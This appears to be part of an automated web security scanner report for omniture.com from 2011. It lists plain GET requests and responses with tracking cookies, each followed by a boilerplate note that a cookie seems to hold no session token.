HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:14:58 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:14:58 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:14:58 GMT Content-Length: 26730 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:14:58 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Articles</title>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/resources/case_studies HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:14:27 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:14:27 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:14:27 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:14:27 GMT; path=/; domain=omniture.com Content-Length: 49831
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Success Stories | Online Busine ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/resources/cmo.com HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:15:37 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:15:37 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:15:37 GMT Content-Length: 22161 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:15:37 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>CMO.com by Omniture</title>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/resources/guides HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:14:04 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:14:04 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:14:04 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:14:04 GMT; path=/; domain=omniture.com Content-Length: 46717
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Best Practices Guides | Online ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/resources/testimonials HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:14:50 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:14:50 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:14:50 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:14:50 GMT; path=/; domain=omniture.com Content-Length: 34476
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Testimonials | Online Business ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/resources/webinars HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:14:13 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:14:13 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:14:13 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:14:13 GMT; path=/; domain=omniture.com Content-Length: 48650
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Webinars | Online Business Opti ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/services/consulting HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:05:16 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:05:16 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:05:17 GMT Content-Length: 27864 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:05:16 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Services Implementation | Onlin ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/services/es HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:05:20 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:05:20 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:05:20 GMT Content-Length: 24111 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:05:20 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>The Omniture Engineering Servic ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/survey/5084 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:50:21 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:50:21 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:50:21 GMT Content-Length: 4127 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:50:21 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Survey</title>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/surveys HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:15:36 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:15:36 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:15:36 GMT Content-Length: 23548 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:15:36 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Marketing Surveys from A ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /es HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:52:45 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:52:45 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:52:45 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: cms_site_lang=7; expires=Sat, 05-Mar-2011 05:52:44 GMT; path=/; domain=omniture.com Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:52:45 GMT; path=/; domain=omniture.com Content-Length: 37646
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//es" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="es" lang="es"> <head> <title>Analisis Web | Le leader de l'o ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /fr HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:53:26 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:53:26 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:53:27 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: cms_site_lang=3; expires=Sat, 05-Mar-2011 05:53:26 GMT; path=/; domain=omniture.com Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:53:26 GMT; path=/; domain=omniture.com Content-Length: 38083
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//fr" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="fr" lang="fr"> <head> <title>Web analytics, Analyse de web | ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /jp HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:54:42 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:54:42 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:54:42 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: cms_site_lang=6; expires=Sat, 05-Mar-2011 05:54:42 GMT; path=/; domain=omniture.com Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:54:42 GMT; path=/; domain=omniture.com Content-Length: 39109
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//jp" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="jp" lang="jp"> <head> <title>Omniture - .................... ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ko HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:56:23 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:56:23 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:56:23 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: cms_site_lang=11; expires=Sat, 05-Mar-2011 05:56:23 GMT; path=/; domain=omniture.com Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:56:23 GMT; path=/; domain=omniture.com Content-Length: 36389
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//ko" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="ko" lang="ko"> <head> <title></title>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/100 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:31 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:31 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:31 GMT Content-Length: 13429 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:31 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Marketer's Segmentation ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/101 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:26:42 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:26:42 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:26:42 GMT Content-Length: 14068 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:26:42 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>7 Steps to Increasing Website C ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
